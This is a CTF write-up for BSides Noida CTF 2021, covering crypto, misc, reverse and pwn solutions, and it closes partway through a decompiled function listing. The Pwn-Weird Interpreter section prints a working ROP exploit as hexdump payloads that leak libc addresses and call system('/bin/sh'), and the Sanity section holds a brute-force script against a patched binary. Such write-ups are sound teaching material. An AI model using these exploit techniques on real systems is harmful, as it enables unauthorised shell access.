LoginSignup
1
0

More than 1 year has passed since last update.

BSides Noida CTF 2021 writeup (English version)

Posted at

日本語版: BSides Noida CTF 2021 writeup - Qiita

About

I participated in BSides Noida CTF 2021 (August 7, 2021 19:30 - August 8, 2021 19:30 (JST: UTC+9)) (CTFtime.org) as a one-person team.
I earned 3748 points and ranked 21th among 411 teams that earned positive score.

Here is a list of challenges I solved:

Challenge Category Value Time (JST)
Baby Web Web 420 2021/08/07 23:18:10
Xoro Crypto 388 2021/08/07 23:37:15
MACAW Crypto 445 2021/08/07 23:58:05
Psst Misc 159 2021/08/08 00:23:49
Welcome Misc 50 2021/08/08 00:48:38
Sanity Reverse 437 2021/08/08 01:56:19
My Artwork Misc 287 2021/08/08 06:53:39
Rev-Weird Interpreter Reverse 494 2021/08/08 09:53:12
Pwn-Weird Interpreter Pwn 495 2021/08/08 14:22:15
Macaw_Revenge Crypto 473 2021/08/08 15:23:01
Farewell Misc 50 2021/08/08 16:32:15
FeedBack Form Misc 50 2021/08/08 18:17:59

Score over Time

Challenges I solved

Crypto

Xoro

Information to connect to a TCP server and a server program xoro.py were given.

What xoro.py does was:

  1. Generate a 32-byte random key
  2. Accept an input
  3. Calculate exclusive-or of "the input with FLAG concatenated at the end" and "the key, repeated" and output the result

Sending 32-byte 0x00 will have it print the key as the first 32 bytes like this:

===== WELCOME TO OUR ENCRYPTION SERVICE =====

[plaintext (hex)]>  0000000000000000000000000000000000000000000000000000000000000000
[ciphertext (hex)]> 26b1c562e6f9ddf4dadf1ed4749af310b94c313357c28dd66f97fabce7b1e5d364e28b0d8f9dbc8fb2b0698b17fb9d4fc023446c35b0e8b704c8aef4a2eebd9c74eefa43d9d8a0
See ya ;)

Using "XOR" with the first 32 bytes as the key with referring the example "Perform AES decryption, extracting the IV from the beginning of the cipher stream" on the description of CyberChef, it resulted in this Output:

BSNoida{how_can_you_break_THE_XOR_?!?!}Òk.|

I obtained the flag by removing the extra part.

BSNoida{how_can_you_break_THE_XOR_?!?!}

MACAW

Information to connect to a TCP server and a server program MACAW.py were given.

What MACAW.py does was:

  1. Output secret_msg.
  2. Have the user select one of following process and do what is selected, at most 3 times.
    • Accept an input that is not secret_msg, encrypt that via AES.MODE_CBC with key and iv, and output the last block and iv.
    • Accept an input and output FLAG if the input is equal tosecret_tag.

I couldn't find the characteristics of iv, key, secret_msg, secret_tag from the program,
but I guessed that iv and key are fixed, and that secret_tag is the last block of the ciphertext for secret_msg.

In the CBC mode, the current ciphertext block can be obtained by encrypting "exclusive-or of the previous ciphertext block (or the IV) and the current plaintext block".
(Block cipher mode of operation - Wikipedia)
In this case, the IV seems fixed, so the IV to use can be virtually specified by applying exclusive-or with "exclusive-or of the IV actually used and the IV (or previous ciphertext block) to use" to the plaintext block.
This enables it to encrypt a message with dividing to several parts.

I encrypted secret_msg in this way:

plaintext block plaintext block XOR previous ciphertext block XOR IV ciphertext block
(IV) 4aa8d73c2f644a6cecf9cf1af82ebbe9
57656c636f6d6520746f204253696465 57656c636f6d6520746f204253696465 8992b52f29709147a0aa1e084a3bfe19
734e6f696461212120466f6c6c6f7720 b0740d7a6275fa0a6c15be7ede7a32d0 f25d4a2c1c95c62576b48019d63e4f00
7573206f6e20547769747465722e2e2e cd86bd7f5dd1d83ef3393b665c3edac7 eae429a7fdc8b0d6161d02b9cce52ba9

I obtained the flag using the final resulteae429a7fdc8b0d6161d02b9cce52ba9.

BSNoida{M4c4w5_4r3_4d0r4b13}

Macaw_Revenge

Information to connect to a TCP server and a server program macaw_revenge.py were given.

What macaw_revenge.py does was:

  1. Randomly choose iv (16 bytes), key (16 bytes), and secret_msg (48 bytes).
  2. Set secret_tag to the last block of secret_msg encrypted via AES.MOCE_CBC with key and iv.
  3. Output secret_msg
  4. Have the user select one of following process and do what is selected, at most 3 times.
    • Accept an input that is not secret_msg, encrypt that via AES.MODE_CBC with key and iv, and output the last block and iv.
    • Accept an input and output FLAG if the input is equal tosecret_tag.

In the CBC mode, the current ciphertext block can be obtained by encrypting "exclusive-or of the previous ciphertext block (or the IV) and the current plaintext block".
(Block cipher mode of operation - Wikipedia)
Therefore, when IV is fixed, a plaintext block can be encrypted as if it is placed after an ciphertext block by encrypting the plaintext block with exclusive-ored with the IV and the ciphertext block because doing so will make the IV canceled by being exclusive-ored twice.

Using this feature, I obtained the flag in this way:

  1. Encrypt secret_msg except for the last block.
  2. Encrypt exclusive-or of the output (ciphertext block) of 1, iv, and the last block of secret_msg.
  3. Enter the output (ciphertext block) of 2, which should be secret_tag.
BSNoida{M4c4w5_4r3_pr3tty_l0ud}

Misc

Welcome

This challenge description was given:

Welcome To BSides Noida CTF. Good Luck and Have fun :)
Flag : BSNoida{W3lc0me_To_BSidesNoida_CTF}

The flag was the part after flag : in this challenge description.

BSNoida{W3lc0me_To_BSidesNoida_CTF}

FeedBack Form

An link to a page of Google Forms was given.
What is linked is a single-page questionnaire. It showed the flag after I submit my answer.

BSidesNOIDA{s33_y0u_n3xt_t1m3}

Farewell

A link to a web page on which we can play a jigsaw puzzle was given.

Solving the puzzle, an image that looks related to anime with red strings appeared.
The strings on the image were like this:

The strings on the image

Correcting the strings resulted in this, but this was not the flag:

BSNoida{Th4nk5_f0rpl4y1ng_See_y0u_n3xty34r_By3}

I obtained the flag by adding two _ to this string.

BSNoida{Th4nk5_f0r_pl4y1ng_See_y0u_n3xt_y34r_By3}

Psst

A file psst.tar.gz was given.
Decompressing via 7-Zip yielded a file psst.tar.
Trying to extract psst.tar via 7-Zip resulted in an error that the path is too long.

Applying the strings command to psst.tar, there were paths that ends with readme_(number).txt in the latter part.
Also searching for { that should be in the flag from psst.tar via a binary editor,
I found this character alone with newline (0x0A), surrounded by 0x00.

Seeing this, I extracted single-character data in psst.tar via this command:

strings -n 1 psst.tar > psst-strings-n1.txt
grep -x . psst-strings-n1.txt > psst-strings-n1-onecharlines.txt

(-x for grep is an option that means "match the whole line with the regexp")

I obtained the flag by removing the newline characters and applying "Reverse" via CyberChef to the result.

BSNoida{d1d_y0u_u53_b45h_5cr1pt1ng_6f7220737461636b6f766572666c6f773f}

My Artwork

A text file art.TURTLE was given.
This file had 28 lines that begins with REPEAT.

I googled "TURTLE interpreter" and found this:
Free Online Turtle Graphics - logointerpreter.com - Surf your logo code! / Logo editor

One character was drawn when I copy-and-pasted one line with REPEAT and hit the "Animate" button.
I copy-and-pasted the 28 lines one-by-one and corrected the characters drawn. The result was:

CODE_IS_BEAUTY_BEAUTY_ISCODE

I obtained the flag by wrapping this string with BSNoida{} and adding a _.

BSNoida{CODE_IS_BEAUTY_BEAUTY_IS_CODE}

Pwn

Pwn-Weird Interpreter

Information to connect to a TCP server and a file Weird_Interpreter.zip were given.
These are the same as what are given in the challenge Rev-Weird Interpreter.
The function to execute the program and its characteristics (data placement on the stack, etc.) is known from the process to solve the challenge.

The code to print the message in the function FUN_00102a45 is:

        00102ac2 48 8d 35        LEA        RSI,[s_Enter_ur_Code_:_001030a1]                 = "Enter ur Code : "
                 d8 05 00 00
        00102ac9 48 8d 3d        LEA        RDI,[std::cout]                                  = 
                 b0 26 00 00
                             try { // try from 00102ad0 to 00102b0b has its CatchHandler @
                             LAB_00102ad0                                    XREF[1]:     001033dc(*)  
        00102ad0 e8 2b f6        CALL       <EXTERNAL>::std::operator<<                      basic_ostream * operator<<(basic
                 ff ff

Therefore, it should be able to print arbitrary data by putting an address of data to print to RSI and jump to 0x2c9.
ROP (Return-Oriented Programming) with the gadget pop rsi; pop r15; ret on 0x29f1 should be useful to set RSI.

I created this program to prepare multiple values at once for ROP.

num_gen_multi.pl
num_gen_multi.pl
#!/usr/bin/perl

use strict;
use warnings;

if (@ARGV < 1) {
    die "Usage: perl num_gen_multi.pl target_number [target_number...]\n";
}

my @targets = ();
for (my $i = 0; $i < @ARGV; $i++) {
    push(@targets, int($ARGV[$i]));
}

print "a334"; # nandeya hanshin kankei naiyaro
for (;;) {
    my $proceed = 0;
    for (my $i = 0; $i < @targets; $i++) {
        my $no = $i + ($i < 3 ? 0 : 2); # reserve 3 and 4
        if ($targets[$i] & 1) {printf "a%d%d3", $no, $no; }
        $targets[$i] >>= 1;
        if ($targets[$i] > 0) { $proceed = 1; }
    }
    if ($proceed) {
        print "a333";
    } else {
        last;
    }
}

Setting the stack from the return address like this will have it print the address of the function setvbuf on 0x5018.
("difference" here is the difference from the return address)

0x29f1 (difference: 0x11b)
0x5018 (difference: 0x250c)
something
0x2ac9 (difference: 0x43)

Also, when I tried the program on CS50 IDE with GDB, I found that the entered program is stored just after the return address and it was destroyed by writing to the stack right after starting execution.
To overcome this, I added meaningless instructions to the beginning of the program to allocate some space for data for ROP.

Following program has this structure and have it output the address of the function setvbuf:

  1. Space for data for ROP
  2. Copy the upper 6 bytes of the return address
  3. Prepare values to add or subtract to the return address
  4. Arithmetics with the prepared values and the return address
00000000  61 30 30 30 61 30 30 30 61 30 30 30 61 30 30 30  |a000a000a000a000|
00000010  61 30 30 30 61 30 30 30 61 30 30 30 61 30 30 30  |a000a000a000a000|
00000020  61 85 30 81 61 8d 30 81 61 86 30 82 61 8e 30 82  |a.0.a.0.a.0.a.0.|
00000030  61 87 30 83 61 8f 30 83 61 30 31 31 61 33 33 34  |a.0.a.0.a011a334|
00000040  61 30 30 33 61 32 32 33 61 33 33 33 61 30 30 33  |a003a223a333a003|
00000050  61 32 32 33 61 33 33 33 61 31 31 33 61 33 33 33  |a223a333a113a333|
00000060  61 30 30 33 61 31 31 33 61 33 33 33 61 30 30 33  |a003a113a333a003|
00000070  61 33 33 33 61 33 33 33 61 32 32 33 61 33 33 33  |a333a333a223a333|
00000080  61 33 33 33 61 30 30 33 61 31 31 33 61 33 33 33  |a333a003a113a333|
00000090  61 33 33 33 61 31 31 33 61 33 33 33 61 33 33 33  |a333a113a333a333|
000000a0  61 33 33 33 61 31 31 33 73 33 33 33 73 8c 80 32  |a333a113s333s..2|
000000b0  61 84 80 31 73 80 80 30 0a                       |a..1s..0.|

This program will have it output the address of the __libc_start_main function on 0x4fe0 in the same way:

00000000  61 30 30 30 61 30 30 30 61 30 30 30 61 30 30 30  |a000a000a000a000|
00000010  61 30 30 30 61 30 30 30 61 30 30 30 61 30 30 30  |a000a000a000a000|
00000020  61 85 30 81 61 8d 30 81 61 86 30 82 61 8e 30 82  |a.0.a.0.a.0.a.0.|
00000030  61 87 30 83 61 8f 30 83 61 30 31 31 61 33 33 34  |a.0.a.0.a011a334|
00000040  61 30 30 33 61 32 32 33 61 33 33 33 61 30 30 33  |a003a223a333a003|
00000050  61 32 32 33 61 33 33 33 61 31 31 33 61 33 33 33  |a223a333a113a333|
00000060  61 30 30 33 61 33 33 33 61 30 30 33 61 31 31 33  |a003a333a003a113|
00000070  61 33 33 33 61 33 33 33 61 31 31 33 61 32 32 33  |a333a333a113a223|
00000080  61 33 33 33 61 31 31 33 61 33 33 33 61 30 30 33  |a333a113a333a003|
00000090  61 33 33 33 61 33 33 33 61 31 31 33 61 33 33 33  |a333a333a113a333|
000000a0  61 33 33 33 61 33 33 33 61 31 31 33 73 33 33 33  |a333a333a113s333|
000000b0  73 8c 80 32 61 84 80 31 73 80 80 30 0a           |s..2a..1s..0.|

I obtained the addresses of the functions by sending these programs via "Send File" on Tera Term and see what the server outputs via Wireshark.
As a result, the address of the function setvbuf was 0x7f0bedeed630 and one of the function __libc_start_main was 0x7f98159babc0.
The addresses may be random except for the least three hexadecimal digits.
I put the addresses to libc-database one-by-one and libc6_2.32-0ubuntu3.1_amd64 was found as the only common result.
According to this site, __libc_start_main_ret is0x28cb2, str_bin_sh is0x1ae41f, and system is 0x503c0.
These information should be useful to execute system("/bin/sh") and launch the shell.

Examining with GDB on CS50 IDE, I found that there is an address to return to __libc_start_main on the stack, but the difference of RSP and where it is placed depended on the length of the input.
To overcome this, I decided to use c instruction that stops execution to add a padding to the input and use a fixed-length input.
With 512-byte input, the address was at RSP + 0x308 (RAM[0x17c]).
This address corresponds to __libc_start_main_ret, so we can create the addresses of str_bin_sh and system from this address.
The problem is that this system only allows 16-bit addition and subtraction and that it is hard to support carry from the least 16 bits.
I decided to rely on the lack because the probability to fail due to this carry is 1/2, supposing that the address is uniformly distributed.

As a conclusion, we can call system("/bin/sh") via ROP by putting following data to the stack.
0x29f3 is a gadget pop rdi; ret and 0x29f4 is a gadget ret.
0x29f4 is added for adjusting the stack alignment.

0x29f3 (difference from the return address: 0x119)
str_bin_sh (difference from __libc_start_main_ret: 0x18576d)
0x29f4 (difference from the return address: 0x118)
system (difference from __libc_start_main_ret: 0x2770e)

This is the program to put this data:

payload-system.bin
00000000  61 30 30 30 61 30 30 30 61 30 30 30 61 30 30 30  |a000a000a000a000|
00000010  61 30 30 30 61 30 30 30 61 30 30 30 61 30 30 30  |a000a000a000a000|
00000020  61 89 30 81 61 8a 30 82 61 8b 30 83 61 35 33 33  |a.0.a.0.a.0.a533|
00000030  61 36 33 33 61 33 33 34 61 35 35 33 61 33 33 33  |a633a334a553a333|
00000040  61 36 36 33 61 33 33 33 61 31 31 33 61 35 35 33  |a663a333a113a553|
00000050  61 36 36 33 61 33 33 33 61 30 30 33 61 31 31 33  |a663a333a003a113|
00000060  61 32 32 33 61 35 35 33 61 36 36 33 61 33 33 33  |a223a553a663a333|
00000070  61 30 30 33 61 31 31 33 61 32 32 33 61 33 33 33  |a003a113a223a333|
00000080  61 31 31 33 61 35 35 33 61 33 33 33 61 31 31 33  |a113a553a333a113|
00000090  61 35 35 33 61 33 33 33 61 33 33 33 61 30 30 33  |a553a333a333a003|
000000a0  61 31 31 33 61 35 35 33 61 36 36 33 61 33 33 33  |a113a553a663a333|
000000b0  61 35 35 33 61 36 36 33 61 33 33 33 61 35 35 33  |a553a663a333a553|
000000c0  61 36 36 33 61 33 33 33 61 33 33 33 61 35 35 33  |a663a333a333a553|
000000d0  61 36 36 33 61 33 33 33 61 36 36 33 61 33 33 33  |a663a333a663a333|
000000e0  61 35 35 33 61 36 36 33 73 33 33 33 73 88 80 30  |a553a663s333s..0|
000000f0  61 30 30 34 73 80 80 30 72 30 31 61 84 30 35 61  |a004s..0r01a.05a|
00000100  8c 30 36 61 31 31 34 72 30 31 61 85 30 32 61 30  |.06a114r01a.02a0|
00000110  30 34 61 8d 30 34 61 31 31 34 72 30 31 61 86 30  |04a.04a114r01a.0|
00000120  33 61 8e 30 33 61 31 31 34 72 30 31 61 87 30 33  |3a.03a114r01a.03|
00000130  61 8f 30 33 63 30 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |a.03c0----------|
00000140  2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |----------------|
00000150  2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |----------------|
00000160  2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |----------------|
00000170  2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |----------------|
00000180  2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |----------------|
00000190  2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |----------------|
000001a0  2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |----------------|
000001b0  2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |----------------|
000001c0  2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |----------------|
000001d0  2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |----------------|
000001e0  2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |----------------|
000001f0  2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |----------------|
00000200  0a                                               |.|

What this program does is:

  1. Allocate space for ROP data.
  2. Copy the upper 6 bytes of the return address.
  3. Prepare the values.
  4. Read and copy __libc_start_main_ret with addition.
  5. Put values by subtracting values from the return address.
  6. Finish execution by the c instruction.

I succeeded to launch the shell via this program.
Executing ls command revealed that there are files flag1.txt and flag2.txt.
I used cat command to have it output the contents of the files.
flag1.txt had the flag for the challenge Rev-Weird Interpreter and flag2.txt had the flag for this challenge.

BSNoida{b3d51a88e2d57cb1a62816f9b8131430}

Reverse

Sanity

A file Sanity.zip was given. An executable file Sanity.exe was extracted from that.

Decompiling Sanity.exe via Ghidra,
I found that the function FUN_004011b0 is called from the function entry
and the function FUN_0040153f, which is called from the function FUN_004011b0, is something like the main function.

Decompilation results for this part
/* WARNING: Exceeded maximum restarts with more pending */

void entry(void)

{
  __set_app_type(1);
  FUN_004011b0();
  __set_app_type(2);
  FUN_004011b0();
                    /* WARNING: Could not recover jumptable at 0x00401320. Too many branches */
                    /* WARNING: Treating indirect jump as call */
  atexit();
  return;
}

void FUN_004011b0(void)

{
  code *pcVar1;
  int *piVar2;
  undefined4 *puVar3;
  UINT uExitCode;

  tls_callback_0(0,2,0);
  SetUnhandledExceptionFilter((LPTOP_LEVEL_EXCEPTION_FILTER)&LAB_00401000);
  FUN_00401a30();
  FUN_00402240(DAT_00405a04);
  FUN_00401690();
  pcVar1 = _iob_exref;
  if (DAT_00408020 != 0) {
    DAT_00405a08 = DAT_00408020;
    _setmode(*(int *)(_iob_exref + 0x10),DAT_00408020);
    _setmode(*(int *)(pcVar1 + 0x30),DAT_00408020);
    _setmode(*(int *)(pcVar1 + 0x50),DAT_00408020);
  }
  piVar2 = (int *)__p__fmode();
  *piVar2 = DAT_00405a08;
  FUN_00402040();
  FUN_00401bc0();
  puVar3 = (undefined4 *)__p__environ();
  uExitCode = FUN_0040153f(DAT_00408004,DAT_00408000,*puVar3);
  _cexit();
                    /* WARNING: Subroutine does not return */
  ExitProcess(uExitCode);
}

The function FUN_0040153f is below.
It is checking each bytes of what is entered with outputting characters and calling Sleep(100);.

Decompiled function FUN_0040153f
undefined4 FUN_0040153f(void)

{
  FILE *_File;
  char cVar1;
  uint uVar2;
  uint uVar3;
  char *pcVar4;
  int iVar5;
  undefined4 local_129;
  undefined4 local_125;
  undefined local_121;
  byte local_120 [264];
  undefined *local_18;

  local_18 = &stack0x00000004;
  FUN_00401bc0();
  local_129 = 0x65486548;
  local_125 = 0x69696f42;
  local_121 = 0;
  printf("Enter Flag : ");
  scanf("%256s",local_120);
  uVar3 = 0;
  do {
    uVar2 = 0xffffffff;
    pcVar4 = s_BSNoida{ZSBrbm93IHRoZSBnYW1lIGFu_00404880;
    do {
      if (uVar2 == 0) break;
      uVar2 = uVar2 - 1;
      cVar1 = *pcVar4;
      pcVar4 = pcVar4 + 1;
    } while (cVar1 != '\0');
    if (~uVar2 - 1 <= uVar3) {
      puts("\nCorrect");
      return 0;
    }
    printf("\r%*s\r%s",9,&DAT_00406081,"Checking");
    fflush((FILE *)(_iob_exref + 0x20));
    uVar2 = (uint)((int)uVar3 >> 0x1f) >> 0x1d;
    if ((byte)(s_BSNoida{ZSBrbm93IHRoZSBnYW1lIGFu_00404880[uVar3] ^ local_120[uVar3]) !=
        *(byte *)((int)&local_129 + ((uVar3 + uVar2 & 7) - uVar2))) {
      puts("\nWrong");
      return 0;
    }
    for (iVar5 = 0; iVar5 < 3; iVar5 = iVar5 + 1) {
      Sleep(100);
      _File = (FILE *)(_iob_exref + 0x20);
      fputc(0x2e,_File);
      fflush(_File);
    }
    uVar3 = uVar3 + 1;
  } while( true );
}

Checking with entering the first few characters of what should be the flag,
I found that the more correct characters I enter, the more bytes are outputted.

Seeing this, firstly I modified the file to will the part to call Sleep(100); with NOP.
In other words, I changed the 8 bytes from the 0x9b7-th byte to the 0x9be-th byte of the file Sanity.exe (the following part) to 0x90 via a binary editor and saved as Sanity-pat-ched.exe.
(putting patched to the file name resulted in being asked to execute as an administrator for some reason, so I named the new file pat-ched)

        004015b7 e8 5c 27        CALL       KERNEL32.DLL::Sleep                              void Sleep(DWORD dwMilliseconds)
                 00 00
        004015bc 83 ec 04        SUB        ESP,0x4

Also I created following program to search for each characters of the flag and executed that.

bruteforce.pl
bruteforce.pl
#!/usr/bin/perl

use strict;
use warnings;

my $target = "Sanity-pat-ched.exe";

sub query {
    my $q = $_[0];
    open(PROC, "echo $q | $target |") or die "open failed: $!\n";
    my $data = "";
    while (<PROC>) { $data .= $_; }
    close(PROC);
    return length($data);
}

my $char_to_use = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_{}";
my $culen = length($char_to_use);

my $flag = "";
my $prev_len = &query($flag);

for (;;) {
    my $found = 0;
    for (my $i = 0; $i < $culen; $i++) {
        my $c= substr($char_to_use, $i, 1);
        my $flag_candidate = $flag . $c;
        my $l = &query($flag_candidate);
        if ($l > $prev_len) {
            $flag .= $c;
            print STDERR "$c\n";
            $prev_len = $l;
            if ($c eq "}") {
                print "$flag\n";
                exit;
            }
            $found = 1;
            last;
        }
    }
    unless ($found) {
        print STDERR "NOT FOUND\n";
        print "$flag\n";
        exit;
    }
}

As a result, I obtained the flag.

BSNoida{Ezzzzzzzzzzzzzzzzzz_Flag}

Rev-Weird Interpreter

Information to connect to a TCP server and a file Weird_Interpreter.zip were given.
Decompressing Weird_Interpreter.zip yieled a server program (a ELF file) Interpreter.

Decompiling Interpreter via Ghidra, I found it doing this:

  1. The function entry calls the function __libc_start_main with FUN_00102a45 and more as the arguments.
  2. The function FUN_00102a45 prints a message, reads a program, and calls the function FUN_00102750.
  3. The function FUN_00102750 executes the program.

The function FUN_00102a45
/* WARNING: Could not reconcile some variable overlaps */

undefined4 FUN_00102a45(void)

{
  long lVar1;
  char *__src;
  undefined4 uVar2;
  long in_FS_OFFSET;
  code *pcStack80;
  char *local_48;
  undefined8 local_40;
  char local_38 [24];
  long local_20;

  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  pcStack80 = (code *)0x102a78;
  setvbuf(stdin,(char *)0x0,2,0);
  pcStack80 = (code *)0x102a93;
  setvbuf(stdout,(char *)0x0,2,0);
  pcStack80 = (code *)0x102aae;
  setvbuf(stderr,(char *)0x0,2,0);
  local_48 = local_38;
  local_40 = 0;
  local_38[0] = '\0';
                    /* try { // try from 00102ad0 to 00102b0b has its CatchHandler @ 00102b2e */
  pcStack80 = (code *)0x102ad5;
  std::operator<<((basic_ostream *)std::cout,"Enter ur Code : ");
  pcStack80 = (code *)0x102ae5;
  std::operator>>((basic_istream *)std::cin,(basic_string *)(&pcStack80 + 1));
  __src = local_48;
  lVar1 = -((long)((int)local_40 + 1) + 0xfU & 0xfffffffffffffff0);
  *(undefined8 *)((long)&pcStack80 + lVar1) = 0x102b04;
  strcpy((char *)((long)&pcStack80 + lVar1 + 8),__src);
  *(undefined8 *)((long)&pcStack80 + lVar1) = 0x102b0c;
  uVar2 = FUN_00102750((long)&pcStack80 + lVar1 + 8);
  *(undefined8 *)((long)&pcStack80 + lVar1) = 0x102b17;
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::_M_dispose();
  if (local_20 == *(long *)(in_FS_OFFSET + 0x28)) {
    return uVar2;
  }
                    /* WARNING: Subroutine does not return */
  *(code **)((long)&pcStack80 + lVar1) = FUN_00102b47;
  __stack_chk_fail();
}

The function FUN_00102750
/* WARNING: Type propagation algorithm not settling */

undefined8 FUN_00102750(char *param_1)

{
  bool bVar1;
  byte bVar2;
  size_t sVar3;
  undefined8 uVar4;
  int iVar5;
  byte bVar6;
  int iVar7;
  byte bVar8;
  byte bVar9;
  long in_FS_OFFSET;
  undefined8 local_a0;
  undefined6 uStack150;
  undefined8 uStack152;
  undefined8 local_90;
  undefined8 local_88;
  undefined8 local_80;
  undefined8 local_78;
  undefined8 local_70;
  undefined8 local_68;
  undefined4 local_60;
  undefined local_58 [16];
  undefined local_48;
  long local_40;

  local_40 = *(long *)(in_FS_OFFSET + 0x28);
  local_a0 = 0;
  uStack152 = 0;
  local_90 = 0;
  local_88 = 0;
  local_80 = 0;
  local_78 = 0;
  local_70 = 0;
  local_68 = 0;
  local_60 = 0;
  sVar3 = strlen(param_1);
  uStack152 = CONCAT62(uStack150,1);
  bVar8 = 0;
  bVar9 = 0;
  bVar1 = true;
  iVar5 = 0;
  while (bVar1) {
    bVar2 = param_1[iVar5] | 0x20;
    iVar7 = iVar5 + 2;
    bVar6 = param_1[iVar5 + 1] - 0x30;
    if (bVar2 != 99) {
      bVar9 = param_1[iVar7] - 0x30;
      iVar7 = iVar5 + 3;
      if (bVar2 != 0x77 && bVar2 != 0x72) {
        bVar8 = param_1[iVar5 + 3] - 0x30;
        iVar7 = iVar5 + 4;
      }
      if ((3 < bVar6 && 3 < bVar9) && (3 < bVar8)) {
        std::operator<<((basic_ostream *)std::cerr,"Invalid Register\n");
                    /* WARNING: Subroutine does not return */
        exit(-1);
      }
    }
    switch(bVar2) {
    case 0x61:
      *(short *)((long)&local_a0 + (long)(char)bVar6 * 2) =
           *(short *)((long)&local_a0 + (long)(char)bVar8 * 2) +
           *(short *)((long)&local_a0 + (long)(char)bVar9 * 2);
      break;
    default:
      std::__ostream_insert<char,std::char_traits<char>>
                ((basic_ostream *)std::cerr,"Invalid Opcode\n",0xf);
                    /* WARNING: Subroutine does not return */
      exit(-1);
    case 99:
      std::__ostream_insert<char,std::char_traits<char>>
                ((basic_ostream *)std::cout,"\nChecking...\n",0xd);
      for (iVar5 = 0; iVar5 < 0x10; iVar5 = iVar5 + 1) {
        local_58[iVar5] =
             (char)*(undefined2 *)((long)&stack0xffffffffffffff68 + (long)((char)bVar6 + iVar5) * 2)
        ;
      }
      local_48 = 0;
      FUN_0010234f(local_58);
      uVar4 = 1;
      goto LAB_001029d6;
    case 100:
      *(short *)((long)&local_a0 + (long)(char)bVar6 * 2) =
           *(short *)((long)&local_a0 + (long)(char)bVar9 * 2) /
           *(short *)((long)&local_a0 + (long)(char)bVar8 * 2);
      break;
    case 0x6d:
      *(short *)((long)&local_a0 + (long)(char)bVar6 * 2) =
           *(short *)((long)&local_a0 + (long)(char)bVar8 * 2) *
           *(short *)((long)&local_a0 + (long)(char)bVar9 * 2);
      break;
    case 0x72:
      *(undefined2 *)((long)&local_a0 + (long)(char)bVar6 * 2) =
           *(undefined2 *)
            ((long)&stack0xffffffffffffff68 +
            (long)*(short *)((long)&local_a0 + (long)(char)bVar9 * 2) * 2);
      break;
    case 0x73:
      *(short *)((long)&local_a0 + (long)(char)bVar6 * 2) =
           *(short *)((long)&local_a0 + (long)(char)bVar9 * 2) -
           *(short *)((long)&local_a0 + (long)(char)bVar8 * 2);
      break;
    case 0x77:
      *(undefined2 *)
       ((long)&stack0xffffffffffffff68 +
       (long)*(short *)((long)&local_a0 + (long)(char)bVar6 * 2) * 2) =
           *(undefined2 *)((long)&local_a0 + (long)(char)bVar9 * 2);
    }
    if ((int)sVar3 <= iVar7) {
      bVar1 = false;
    }
    DAT_001054f4 = DAT_001054f4 + 1;
    iVar5 = iVar7;
    if (0x54 < DAT_001054f4) {
      std::__ostream_insert<char,std::char_traits<char>>
                ((basic_ostream *)std::cerr,"Too many opcodes\n",0x11);
      bVar1 = false;
    }
  }
  uVar4 = 0;
LAB_001029d6:
  if (local_40 == *(long *)(in_FS_OFFSET + 0x28)) {
    return uVar4;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

From the function FUN_00102750, I found that these instructions are available:

a v1 v2 v3 : reg[v1] = reg[v3] + reg[v2]
c v1       : Check 16 elements from RAM[v1] and stop execution
d v1 v2 v3 : reg[v1] = reg[v2] / reg[v3]
m v1 v2 v3 : reg[v1] = reg[v3] * reg[v2]
r v1 v2    : reg[v1] = RAM[reg[v2]]
s v1 v2 v3 : reg[v1] = reg[v2] - reg[v3]
w v1 v2    : RAM[reg[v1]] = reg[v2]

where:

  • v1, v2, and v3 are 1 byte each and the values of the bytes are the values to specify plus 0x30.
  • Each elements of reg and RAM are 16 bits.
  • When all of the values specified by v1, v2, and v3 are 4 or greater, it yields an error and the execution is terminated.
  • The "check" of c instruction is done in the function FUN_0010234f.

The function FUN_0010234f
void FUN_0010234f(char *param_1)

{
  long *plVar1;
  int iVar2;
  long lVar3;
  long *plVar4;
  undefined8 uVar5;
  long in_FS_OFFSET;
  char *local_248;
  long local_240;
  char local_238;
  undefined7 uStack567;
  long local_228 [9];
  locale local_1e0 [48];
  __basic_file<char> local_1b0 [136];
  undefined8 local_128 [27];
  undefined8 local_50;
  undefined local_48;
  undefined local_47;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  long local_20;

  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  iVar2 = strncmp(param_1,"3p1cl337-k3yw0rd",0x10);
  if (iVar2 == 0) {
    std::__ostream_insert<char,std::char_traits<char>>
              ((basic_ostream *)std::cout,"Wow! You are pretty good\n",0x19);
    std::ios_base::ios_base((ios_base *)local_128);
    local_128[0] = 0x104c40;
    local_50 = 0;
    local_48 = 0;
    local_47 = 0;
    local_40 = 0;
    local_38 = 0;
    local_30 = 0;
    local_28 = 0;
    local_228[0] = std::basic_ifstream<char,std::char_traits<char>>::VTT._8_8_;
    *(undefined8 *)
     ((long)local_228 +
     *(long *)(std::basic_ifstream<char,std::char_traits<char>>::VTT._8_8_ + -0x18)) =
         std::basic_ifstream<char,std::char_traits<char>>::VTT._16_8_;
    local_228[1] = 0;
                    /* try { // try from 0010243f to 00102443 has its CatchHandler @ 0010254f */
    std::basic_ios<char,std::char_traits<char>>::init
              ((basic_streambuf *)((long)local_228 + *(long *)(local_228[0] + -0x18)));
    local_228[0] = 0x104ce8;
